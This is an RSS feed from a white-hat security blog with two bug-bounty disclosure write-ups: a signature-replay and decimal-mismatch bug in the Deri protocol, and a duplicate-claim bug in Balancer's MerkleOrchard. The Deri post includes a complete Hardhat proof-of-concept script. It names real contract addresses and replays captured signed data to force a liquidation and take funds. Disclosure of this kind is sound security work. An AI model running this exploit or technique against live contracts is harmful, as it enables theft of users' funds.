<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>riptide</title>
        <link>https://paragraph.com/@riptide</link>
        <description>white hat hacking for fun and profit</description>
        <lastBuildDate>Thu, 23 Apr 2026 21:16:37 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>riptide</title>
            <url>https://storage.googleapis.com/papyrus_images/f7675d5d5e50a2b4fedce723b44319a96dd7226153ea89c097dfe6a1ce7994cd.jpg</url>
            <link>https://paragraph.com/@riptide</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Ahhhh i'm liquidating!]]></title>
            <link>https://paragraph.com/@riptide/ahhhh-i-m-liquidating</link>
            <guid>6LYDwaY9Jlxw7otjfs8D</guid>
            <pubDate>Sat, 16 Mar 2024 12:25:08 GMT</pubDate>
            <description><![CDATA[I recently discovered a critical vulnerability in **Deri **which allows an attacker to forcefully liquidate a trader’s position and steal his precious computer coins from his margin vault. Weaknesses: 1) signature replay 2) incorrect decimals Tell us more … Deri is a derivatives protocol deployed across zksync Era, Linea, Arbitrum, Polygon ZkEVM, and Scroll with a TVL of ~$3mm. Users interact with the protocol by making a request to add/remove margin, trade, remove liquidity, etc. through the...]]></description>
            <content:encoded><![CDATA[<p>I recently discovered a critical vulnerability in **<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://deri.io">Deri</a> **which allows an attacker to forcefully liquidate a trader’s position and steal his precious computer coins from his margin vault.</p><p>Weaknesses: 1) signature replay 2) incorrect decimals</p><p><strong>Tell us more …</strong></p><p><strong>Deri</strong> is a derivatives protocol deployed across zksync Era, Linea, Arbitrum, Polygon ZkEVM, and Scroll with a TVL of ~$3mm.</p><p>Users interact with the protocol by making a request to add/remove margin, trade, remove liquidity, etc. through the <code>Gateway</code> contract.</p><p>Our example focuses on when a user intends to remove some, or all, of his margin and calls <code>GatewayImplementation::requestRemoveMargin</code> which emits an event that is picked up by an agent, which validates and signs the request, then calls <code>GatewayImplementation::finishRemoveMargin</code> with the signed event data and accompanying signature to finalize the request and alter the user&apos;s position.</p><p>There are three &quot;finishing&quot; calls that are used to adjust the user&apos;s position: <code>finishRemoveMargin</code>, <code>finishUpdateLiquidity</code>, and <code>finishLiquidate</code>. Both <code>finishRemoveMargin</code> and <code>finishUpdateLiquidity</code> call an internal function <code>_checkRequestId</code> that checks and increments a nonce to prevent a replay attack utilizing the same signature and event data, but ...</p><p><strong>The Bug …</strong></p><p>... this check is missing from <code>finishLiquidate</code> since at the end of the execution flow it will revert if this position NFT had already been burned (which would happen on a successful liquidation).</p><p>What if a user called <code>requestRemoveMargin</code> and we used that same <code>eventData</code> and <code>signature</code> provided by the agent to call <code>finishLiquidate</code> to force liquidate the user with a previously signed request?</p><p>Important to note that the initial <code>requestLiquidate</code> function is protected and requires a whitelisted liquidator as the caller (which we are not, but we bypass this anyway by calling the <code>finishLiquidate</code> function directly).</p><p>The <code>finishLiquidate</code> function decodes the event data with the following struct:</p><pre data-type="codeBlock" text="IGateway.VarOnExecuteLiquidate memory v = abi.decode(eventData, (IGateway.VarOnExecuteLiquidate));

struct VarOnExecuteLiquidate {

uint256 requestId;
uint256 pTokenId;
int256 cumulativePnlOnEngine;

}
"><code>IGateway.VarOnExecuteLiquidate <span class="hljs-keyword">memory</span> v <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">decode</span>(eventData, (IGateway.VarOnExecuteLiquidate));

<span class="hljs-keyword">struct</span> <span class="hljs-title">VarOnExecuteLiquidate</span> {

<span class="hljs-keyword">uint256</span> requestId;
<span class="hljs-keyword">uint256</span> pTokenId;
<span class="hljs-keyword">int256</span> cumulativePnlOnEngine;

}
</code></pre><p>… whereas <code>finishRemoveMargin</code> decodes the event data as follows:</p><pre data-type="codeBlock" text="IGateway.VarOnExecuteRemoveMargin memory v = abi.decode(eventData, (IGateway.VarOnExecuteRemoveMargin));

struct VarOnExecuteRemoveMargin {

uint256 requestId;
uint256 pTokenId;
uint256 requiredMargin;
int256 cumulativePnlOnEngine;
uint256 bAmountToRemove;

}
"><code>IGateway.VarOnExecuteRemoveMargin <span class="hljs-keyword">memory</span> v <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">decode</span>(eventData, (IGateway.VarOnExecuteRemoveMargin));

<span class="hljs-keyword">struct</span> <span class="hljs-title">VarOnExecuteRemoveMargin</span> {

<span class="hljs-keyword">uint256</span> requestId;
<span class="hljs-keyword">uint256</span> pTokenId;
<span class="hljs-keyword">uint256</span> requiredMargin;
<span class="hljs-keyword">int256</span> cumulativePnlOnEngine;
<span class="hljs-keyword">uint256</span> bAmountToRemove;

}
</code></pre><p>Notice the mismatch?</p><p>The decoding process to the <code>VarOnExecuteLiquidate</code> struct will erroneously return the <code>uint256 requiredMargin</code> value as the <code>int256 cumulativePnlOnEngine</code> value which was supplied within <code>eventData</code> that was used by the initial <code>finishRemoveMargin</code> call made by the agent. Since this function already verified that the liquidation has been signed off on (since we provided valid signed event data and a signature), there are no checks and balances going forward other than ensuring that a liquidator only receives a <code>maxLiquidation</code> reward of <code>500 ETH</code> instead of <code>500 USDC</code>. Seems a bit large don’t you think? Always check your decimals anon …</p><p>Also note that now we have successfully modified the critical state variable of <code>data.lastCumulativePnlOnEngine</code> to be grossly inaccurate which immediately compromises the integrity of the protocol for all users. As an example, in the exploit simulation the variable changes from <code>-35169462977677968445139</code> to <code>15206304214539988627172</code>!</p><p>Bypassing the <code>maxLiquidationReward</code> ... on <code>L667 in GatewayImplementation::finishLiquidate</code> the diff is calculated as <code>int256 diff = v.cumulativePnlOnEngine.minusUnchecked(data.lastCumulativePnlOnEngine)</code> which equals <code>15206304214539988627172 - (-35169462977677968445139) = 50375767192217957072311</code> and then scales down to match the <code>USDC</code> collateral <code>bToken</code> of six decimals giving us <code>50375767192</code> or <code>50,375 USDC</code>.</p><p><strong>Note:</strong> The correct calculation should actually be <code>-35169462977677968445139 - (-35169462977677968445139) = 0 USDC</code>.</p><p>The function then transfers all <code>bTokens</code> from an Aave vault into the <code>Gateway</code> contract and then calculates the (incorrect) total LP&apos;s PnL by liquidating this account <code>int256 lpPnl = b0AmountIn.utoi() + data.b0Amount</code> which gives us <code>133567538050 + 50375767192 = 183943305242</code> or <code>183,943 USDC</code> as <code>lpPnL</code>.</p><p>If/else at <code>L692</code> calculates the minimum of <code>((lpPnL - minLiquidationReward( * liquidationRewardCutRatio / 1e18 + minLiquidationReward), maxLiquidationReward)</code> which reduces and rescales our reward to <code>1e6</code> giving us <code>91083767663</code> or <code>$91k USDC</code> and promptly transfers this to <code>msg.sender</code>.</p><p>Additionally, on <code>L723</code> the function rescales the fake <code>lpPnL</code> to <code>e18</code> and adds it to the state variable <code>data.cumulativePnLOnGateway</code> with a value of <code>58577e18</code> to a new value of <code>242520e18</code> ... a 314% increase in PnL that doesn&apos;t exist! Not good.</p><p><strong>Damage</strong></p><p>Total user funds at risk across all chains I estimate at $500k to $1.5mm - not to mention collateral damage from the inconsistent state with the now incorrect <code>cumulativePnlOnEngine</code>. The max bounty for this project was low at $10k (which they later bumped to $20k) so it did not warrant further time on my end to conduct a full damage assessment.</p><p>PoC below demonstrates a forced $91k USDC liquidation on Arbitrum with all profits going to the attacker.</p><p>Peckshield takes the L …</p><p><strong>Pro tip:</strong> Always get more than one audit.</p><p>0xriptide</p><pre data-type="codeBlock" text="const { ethers } = require(&quot;hardhat&quot;);

// 0xriptide - forced liquidator
//
// arbitrum forking at 184652290
//
// Severity: Critical
//
// Description:
// Attacker can liquidate certain positions by reusing signatures and events leading to theft of user funds
// also bypasses gated liquidator requirement
//
// Affects all chains where Deri v4 is deployed (zksync Era, linea, arbitrum, polygon ZkEVM, scroll)
//
// Exploit:
// 1) Watch for offchain agent `0x01737317c960Bc5cC67E7D3f802ABF077e65559E` to call `finishRemoveMargin` on `gateway contract`
// 2) Reuse provided `eventData` and `signature` to call `finishLiquidate` on `gateway`
// 3) Profit
//
// Weakness:
// 1) `gateway:L662` lacks the `_checkRequestId` check which allows re-use of signatures and eventData
// 2) maxLiquidationReward scaled at 1e18 for 1e6 token
//

describe(&quot;PoC - Unauthorized liquidations&quot;, function () {


  it(&quot;big usdc liq 91k profit&quot;, async function () {
    const gateway = &quot;0x7c4a640461427c310a710d367c2ba8c535a7ef81&quot;;
    const DPT = &quot;0x3330664fE007463DDc859830b2D96380440C3a24&quot;;
    const aaveVault = &quot;0x724dc807b04555b71ed48a6896b6F41593b8C637&quot;;
    const eventData = &quot;0x000000000000000000000000000011960000000000000000000000000000003402000000000000000000a4b1000000000000000000000000000000000000001a00000000000000000000000000000000000000000000033855dcfcabe55feee4fffffffffffffffffffffffffffffffffffffffffffff88d75a7cd9a4cdd712d0000000000000000000000000000000000000000000000000000000005f5e100&quot;;
    const signature = &quot;0x08a4d46c4a18a4d8fce7551f19bf1b9bda19a555009039a223bd91003b45d3cd4325f06ce14d57d285a2538a58fa5a96134292a5df3ca1cf5b435cfdbcd4e51e1b&quot;;
    const pTokenId = &quot;904625697166532776746709938750905788301606140756549057766654088833765736474&quot;;
    const bToken = &quot;0xaf88d065e77c8cC2239327C5EDb3A432268e5831&quot;; //USDC
    const user = &quot;0xcd384a71b666DE23A7A6380eDd8A2e88Bb5a5373&quot;;

    const [attacker] = await ethers.getSigners();

    const gatewayContract = await hre.ethers.getContractAt(&quot;IGateway&quot;, gateway);
    const DPTContract = await hre.ethers.getContractAt(&quot;IDToken&quot;, DPT);
    const bTokenContract = await hre.ethers.getContractAt(&quot;IERC20&quot;, bToken);

    console.log(&quot;Gateway State: &quot;, await gatewayContract.getGatewayState());

    console.log(&quot;Td State: &quot;, await gatewayContract.getTdState(pTokenId));

    var nft0 = await DPTContract.balanceOf(user);
    var user0 = await bTokenContract.balanceOf(user);
    var vault0 = await bTokenContract.balanceOf(aaveVault);
    var attacker0 = await bTokenContract.balanceOf(attacker.address);

    console.log(&quot;NFT balance of user: &quot;, nft0);
    console.log(&quot;bToken balance of user: &quot;, user0);
    console.log(&quot;bToken balance of aaveVault (aArbUSDCn): &quot;, vault0);
    console.log(&quot;bToken balance of attacker: &quot;, attacker0);

    console.log(&quot;forcing liquidation and burning position NFT...&quot;);
    await gatewayContract.finishLiquidate(eventData, signature);

    console.log(&quot;Gateway State: &quot;, await gatewayContract.getGatewayState());
    console.log(&quot;Gateway Param: &quot;, await gatewayContract.getGatewayParam());

    console.log(&quot;Td State: &quot;, await gatewayContract.getTdState(pTokenId));

    var nft1 = await DPTContract.balanceOf(user);
    var user1 = await bTokenContract.balanceOf(user);
    var vault1 = await bTokenContract.balanceOf(aaveVault);
    var attacker1 = await bTokenContract.balanceOf(attacker.address);

    console.log(&quot;NFT balance of user: &quot;, nft1);
    console.log(&quot;bToken balance of user: &quot;, user1);
    console.log(&quot;bToken balance of aaveVault (aArbUSDCn): &quot;, vault1);
    console.log(&quot;bToken balance of attacker: &quot;, attacker1);

    console.log(&quot;*diffs*&quot;);
    console.log(&quot;\nNFT decrease by: &quot;, nft0 - nft1);
    console.log(&quot;bToken balance of user change: &quot;, user1 - user0);
    console.log(&quot;bToken balance of aaveVault (aArbUSDCn) change: &quot;, vault1 - vault0);
    console.log(&quot;bToken balance of attacker change: &quot;, attacker1 - attacker0);
    console.log(&quot;\nAttacker profit: $&quot;, ethers.utils.formatUnits(attacker1 - attacker0,6));

  });
});
"><code>const { ethers } <span class="hljs-operator">=</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">"hardhat"</span>);

<span class="hljs-comment">// 0xriptide - forced liquidator</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// arbitrum forking at 184652290</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// Severity: Critical</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// Description:</span>
<span class="hljs-comment">// Attacker can liquidate certain positions by reusing signatures and events leading to theft of user funds</span>
<span class="hljs-comment">// also bypasses gated liquidator requirement</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// Affects all chains where Deri v4 is deployed (zksync Era, linea, arbitrum, polygon ZkEVM, scroll)</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// Exploit:</span>
<span class="hljs-comment">// 1) Watch for offchain agent `0x01737317c960Bc5cC67E7D3f802ABF077e65559E` to call `finishRemoveMargin` on `gateway contract`</span>
<span class="hljs-comment">// 2) Reuse provided `eventData` and `signature` to call `finishLiquidate` on `gateway`</span>
<span class="hljs-comment">// 3) Profit</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// Weakness:</span>
<span class="hljs-comment">// 1) `gateway:L662` lacks the `_checkRequestId` check which allows re-use of signatures and eventData</span>
<span class="hljs-comment">// 2) maxLiquidationReward scaled at 1e18 for 1e6 token</span>
<span class="hljs-comment">//</span>

describe(<span class="hljs-string">"PoC - Unauthorized liquidations"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{


  it(<span class="hljs-string">"big usdc liq 91k profit"</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    const gateway <span class="hljs-operator">=</span> <span class="hljs-string">"0x7c4a640461427c310a710d367c2ba8c535a7ef81"</span>;
    const DPT <span class="hljs-operator">=</span> <span class="hljs-string">"0x3330664fE007463DDc859830b2D96380440C3a24"</span>;
    const aaveVault <span class="hljs-operator">=</span> <span class="hljs-string">"0x724dc807b04555b71ed48a6896b6F41593b8C637"</span>;
    const eventData <span class="hljs-operator">=</span> <span class="hljs-string">"0x000000000000000000000000000011960000000000000000000000000000003402000000000000000000a4b1000000000000000000000000000000000000001a00000000000000000000000000000000000000000000033855dcfcabe55feee4fffffffffffffffffffffffffffffffffffffffffffff88d75a7cd9a4cdd712d0000000000000000000000000000000000000000000000000000000005f5e100"</span>;
    const signature <span class="hljs-operator">=</span> <span class="hljs-string">"0x08a4d46c4a18a4d8fce7551f19bf1b9bda19a555009039a223bd91003b45d3cd4325f06ce14d57d285a2538a58fa5a96134292a5df3ca1cf5b435cfdbcd4e51e1b"</span>;
    const pTokenId <span class="hljs-operator">=</span> <span class="hljs-string">"904625697166532776746709938750905788301606140756549057766654088833765736474"</span>;
    const bToken <span class="hljs-operator">=</span> <span class="hljs-string">"0xaf88d065e77c8cC2239327C5EDb3A432268e5831"</span>; <span class="hljs-comment">//USDC</span>
    const user <span class="hljs-operator">=</span> <span class="hljs-string">"0xcd384a71b666DE23A7A6380eDd8A2e88Bb5a5373"</span>;

    const [attacker] <span class="hljs-operator">=</span> await ethers.getSigners();

    const gatewayContract <span class="hljs-operator">=</span> await hre.ethers.getContractAt(<span class="hljs-string">"IGateway"</span>, gateway);
    const DPTContract <span class="hljs-operator">=</span> await hre.ethers.getContractAt(<span class="hljs-string">"IDToken"</span>, DPT);
    const bTokenContract <span class="hljs-operator">=</span> await hre.ethers.getContractAt(<span class="hljs-string">"IERC20"</span>, bToken);

    console.log(<span class="hljs-string">"Gateway State: "</span>, await gatewayContract.getGatewayState());

    console.log(<span class="hljs-string">"Td State: "</span>, await gatewayContract.getTdState(pTokenId));

    <span class="hljs-keyword">var</span> nft0 <span class="hljs-operator">=</span> await DPTContract.balanceOf(user);
    <span class="hljs-keyword">var</span> user0 <span class="hljs-operator">=</span> await bTokenContract.balanceOf(user);
    <span class="hljs-keyword">var</span> vault0 <span class="hljs-operator">=</span> await bTokenContract.balanceOf(aaveVault);
    <span class="hljs-keyword">var</span> attacker0 <span class="hljs-operator">=</span> await bTokenContract.balanceOf(attacker.<span class="hljs-built_in">address</span>);

    console.log(<span class="hljs-string">"NFT balance of user: "</span>, nft0);
    console.log(<span class="hljs-string">"bToken balance of user: "</span>, user0);
    console.log(<span class="hljs-string">"bToken balance of aaveVault (aArbUSDCn): "</span>, vault0);
    console.log(<span class="hljs-string">"bToken balance of attacker: "</span>, attacker0);

    console.log(<span class="hljs-string">"forcing liquidation and burning position NFT..."</span>);
    await gatewayContract.finishLiquidate(eventData, signature);

    console.log(<span class="hljs-string">"Gateway State: "</span>, await gatewayContract.getGatewayState());
    console.log(<span class="hljs-string">"Gateway Param: "</span>, await gatewayContract.getGatewayParam());

    console.log(<span class="hljs-string">"Td State: "</span>, await gatewayContract.getTdState(pTokenId));

    <span class="hljs-keyword">var</span> nft1 <span class="hljs-operator">=</span> await DPTContract.balanceOf(user);
    <span class="hljs-keyword">var</span> user1 <span class="hljs-operator">=</span> await bTokenContract.balanceOf(user);
    <span class="hljs-keyword">var</span> vault1 <span class="hljs-operator">=</span> await bTokenContract.balanceOf(aaveVault);
    <span class="hljs-keyword">var</span> attacker1 <span class="hljs-operator">=</span> await bTokenContract.balanceOf(attacker.<span class="hljs-built_in">address</span>);

    console.log(<span class="hljs-string">"NFT balance of user: "</span>, nft1);
    console.log(<span class="hljs-string">"bToken balance of user: "</span>, user1);
    console.log(<span class="hljs-string">"bToken balance of aaveVault (aArbUSDCn): "</span>, vault1);
    console.log(<span class="hljs-string">"bToken balance of attacker: "</span>, attacker1);

    console.log(<span class="hljs-string">"*diffs*"</span>);
    console.log(<span class="hljs-string">"\nNFT decrease by: "</span>, nft0 <span class="hljs-operator">-</span> nft1);
    console.log(<span class="hljs-string">"bToken balance of user change: "</span>, user1 <span class="hljs-operator">-</span> user0);
    console.log(<span class="hljs-string">"bToken balance of aaveVault (aArbUSDCn) change: "</span>, vault1 <span class="hljs-operator">-</span> vault0);
    console.log(<span class="hljs-string">"bToken balance of attacker change: "</span>, attacker1 <span class="hljs-operator">-</span> attacker0);
    console.log(<span class="hljs-string">"\nAttacker profit: $"</span>, ethers.utils.formatUnits(attacker1 <span class="hljs-operator">-</span> attacker0,<span class="hljs-number">6</span>));

  });
});
</code></pre>]]></content:encoded>
            <author>riptide@newsletter.paragraph.com (riptide)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/8950d7139c7978adbbc751f5c9228a1c85bde1d6a191fa154b5f0891d83c31a9.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Balancer’s Bountiful Merkle Orchard]]></title>
            <link>https://paragraph.com/@riptide/balancer-s-bountiful-merkle-orchard</link>
            <guid>BpIKwX7NNBeV62vAfu1O</guid>
            <pubDate>Wed, 01 Feb 2023 20:16:53 GMT</pubDate>
            <description><![CDATA[Security & Bounties Let’s talk about bounties for a bit ... How to run a good bug bounty program: 1) the protocol is a good actor w/ regard to paying bounty hunters fairly and timely 2) bounty amount represents a fair reward compared to the amount of funds at risk How to run a bad bug bounty program: *1) bug is disclosed to protocol and follow-up emails by hacker are ignored/no timely responses 2) payments are confirmed but delayed for weeks/months 3) actual bounty paid is less than advertise...]]></description>
            <content:encoded><![CDATA[<p><strong>Security &amp; Bounties</strong></p><p>Let’s talk about bounties for a bit ...</p><p><strong>How to run a good bug bounty program:</strong></p><p><em>1) the protocol is a good actor w/ regard to paying bounty hunters fairly and timely 2) bounty amount represents a fair reward compared to the amount of funds at risk</em></p><p><strong>How to run a bad bug bounty program:</strong></p><p>*1) bug is disclosed to protocol and follow-up emails by hacker are ignored/no timely responses 2) payments are confirmed but delayed for weeks/months 3) actual bounty paid is less than advertised bounty amount *</p><p>The existence of a bug bounty should be a positive signal for users/investors when deciding where to put their capital to work. It will attract hackers to the protocol in an attempt to find vulnerabilities, report those vulnerabilities, and get paid for their work. However, behind the scenes of a bounty program can tell a different story that is only known to the hacker, the bounty platform (if applicable), and the protocol team.</p><p>If the bounty is $1mm but the funds at risk are $1bn - that is not a good signal for users/investors. Why? <strong>Because the incentive for a hacker to steal outweighs the reward which means you should assign a much higher risk profile when evaluating an investment in this project.</strong> This is a ultimately a poor, short sighted business decision.</p><p>If the advertised bounty is $2mm and the actual bounty paid is 25% of that with unlimited user deposits at risk - that is not a good signal for users/investors. Why? <strong>Because the incentive for a hacker to steal will outweigh the reward which means you should assign a much higher risk profile when evaluating an investment in this project.</strong> This is a ultimately a poor, short sighted business decision (which was made by Arbitrum on the massive vulnerability I disclosed last year).</p><p>For those unfamiliar with how this ecosystem works: we have black hat hackers (hack and steal), white hat hackers (prevent hacks and earn bounties), grey hat hackers (white hat by day, opportunistic black hat by night), auditors (paid a fee to audit code), users/investors (capital providers), smart contracts (targets for capital accumulation), and the devs/protocols/companies that develop and maintain these smart contracts.</p><p>The line between a black hat and white hat hacker (especially in crypto) can be very thin. Independent white hats earn absolutely nothing if they cannot find a bug, have a difficult time getting paid justly (or at all), and then pay tax on those earned bounties. The upside is that you get some credibility in the space, but primarily you do it because it is morally the right thing to do and you want to see this ecosystem thrive. Black hats, on the other hand, can steal millions of dollars while quite easily maintaining their anonymity. That is a fact.</p><p><strong>Apes gonna ape</strong></p><p>So how do we ensure that users/investors can better understand the risk when considering which “secure” and “audited” protocol to invest their funds in? Is the risk of a 3pool 9999% farm on RugChain the same as a VC backed, heavily audited L2? Good question anon … to quote a viewpoint from the great people of Thailand “<em>your safety is our concern, but ultimately it is your responsibility</em>”.</p><p>There are no investor protections here in the wild west of crypto, but the more educated each user/investor is, the better chance they have of making a sound decision on where to ape.</p><p>Recently, I tweeted that we should have something like a “Bug Bounty Wall of Shame” to provide more transparency on which protocol teams have let the bean counters run the show and are faking the funk when it comes to paying out white hats. Low and behold … a few days later some absolute based anon created a simple site to do just that: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bug-bounty-wall-of-shame.github.io/"><strong>https://bug-bounty-wall-of-shame.github.io/</strong></a></p><p>While there will always be disputes over bounties, I believe egregious examples of bad behavior should be brought to light in order to provide more transparency to users/investors when considering an investment decision.</p><p>If you are a user interested in protecting your funds in this nascent ecosystem you need to have visibility into how protocols act when faced with security risks. <strong>If users discover that a project is treating white hats unfairly they should take their capital and run far,far away!</strong></p><p><em>If you want a great example of how you run a bug bounty program and how you approach protocol security look no further than the based gigachads at Balancer whom were a pleasure to work with on this disclosure.</em></p><p>On to the bug write-up …</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/781d793309ba345f25f894069a518d0cab37ed308f7fe51caf88445d78027abb.jpg" alt="this is me when hunting for bounties" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">this is me when hunting for bounties</figcaption></figure><p><strong>Protocol Background</strong></p><p>Balancer is a well known protocol in the DeFi space that allows anyone to create an AMM pool containing two or more tokens that traders can swap between. Liquidity Providers lock up tokens in the pools in order to collect swap fees that are generated by traders re-balancing the pools by executing swaps. If a protocol desires to attract more liquidity to its pool, it can give LPs a higher aggregate rate of return by providing additional token rewards on top of the existing swap fees.</p><p>Balancer has historically been proactive with its stance on security and transparency when <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/balancer-protocol/bug-bounty-progress-disclosure-d408d2812791">bugs have been discovered</a> in its codebase. Four of the top audit firms had already performed a deep dive on the protocol: Trail of Bits, ADBK, OpenZeppelin, and Certora. Yet, the vulnerable contract slipped past many sets of eyeballs and was deployed to Mainnet, Polygon, and Arbitrum for a massive <strong>463 days with tens of thousands of successful transactions</strong>.</p><p>Luckily, Balancer had an active bounty program on ImmuneFi which ultimately led me to finding a logic error deep in the the webs of the merkle orchard …</p><p><strong>Merkle Orchard</strong></p><p>In order to add additional token rewards to a pool, the tokens must first be transferred to the <code>MerkleOrchard</code> contract at <code>0xdAE7e32ADc5d490a43cCba1f0c736033F2b4eFca</code>. The tokens are transferred from the distributor (usually a protocol’s multisig) by calling <code>createDistribution</code> which pulls tokens into the <code>MerkleOrchard</code> contract and then deposits these assets into the Balancer Vault contract. These deposits in the vault are now attributed to the <code>MerkleOrchard</code> contract and linked to the distributor provided merkle tree root.</p><p><strong>The Bug</strong></p><p>Users are able to submit duplicate claims and drain the Balancer Vault contract of the entire <code>MerkleOrchard</code> account balance from the Vault contracts on Mainnet, Polygon, and Arbitrum.</p><p>In the <code>MerkleOrchard</code> contract an existing LP can call <code>claimDistributions</code> to receive its allotted token rewards for providing liquidity.</p><p>This function importantly allows a user to provide multiple claims to be processed in one call.</p><p><code>claimDistributions</code> will call the internal function <code>_processClaims</code> which executes the for loop on L228: <code>for (uint256 i = 0; i &lt; claims.length; i++)</code>.</p><p>L233: <code>(uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(claim.distributionId)</code> will return the exact same values if we use the same <code>claim.distributionId</code> value as our input. This is a key point because on L235 <code>if (currentWordIndex == distributionWordIndex)</code> will evaluate as <code>true</code> and bypass the <code>_setClaimedBits</code> function which would normally mark the claim as completed and prevent a user from claiming again.</p><p>L264: <code>currentChannelId = _getChannelId(tokens[claim.tokenIndex], claim.distributor)</code> will keep <code>currentChannelId</code> unchanged upon each iteration. This fact, combined with <code>currentWordIndex == distributionWordIndex</code> will continue to evaluate as <code>true</code> lets us bypass the calling of <code>_setClaimedBits</code> and allows us to submit duplicate claims as long as they are all provided within the same transaction.</p><p><code>setClaimedBits</code> is finally called on L273-276 when we reach the end of the array which finally disallows the claim from being replayed:</p><p><code>if (i == claims.length - 1) { _setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits); _deductClaimedBalance(currentChannelId, currentClaimAmount)</code></p><p>The function then calls the Balancer vault contract which releases the tokens to the caller.</p><p><strong>Impact</strong></p><p>Balancer Vaults on Mainnet, Polygon, and Arbitrum held (in aggregate) ~$3.2mm of tokens attributed to the <code>MerkleOrchard</code> addresses. No other funds in the vaults were at risk outside of the <code>MerkleOrchard</code> balances.</p><p><strong>Exploit Scenario</strong></p><p>Any LP provider could execute the same claim multiple times in the same transaction to steal multiples of their initial claim amounts from the vault contract (max likely ~10x per claim due to gas limit). The claimer would only be limited by block gas limit and the <code>MerkleOrchard</code> account balance in the vault contract. Thus, large LPs with 6 figure claims could quickly drain the contracts, thus stealing unclaimed yield from other LPs.</p><p>Thank you to the Balancer gigachads for the prompt response, remediation, and payment of a 50 ETH bounty on an out-of-scope target.</p>]]></content:encoded>
            <author>riptide@newsletter.paragraph.com (riptide)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/fdab2dd6b6b70b42561fe0036961d2430d5a5c02f3f40964c66da11852c8e7fc.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>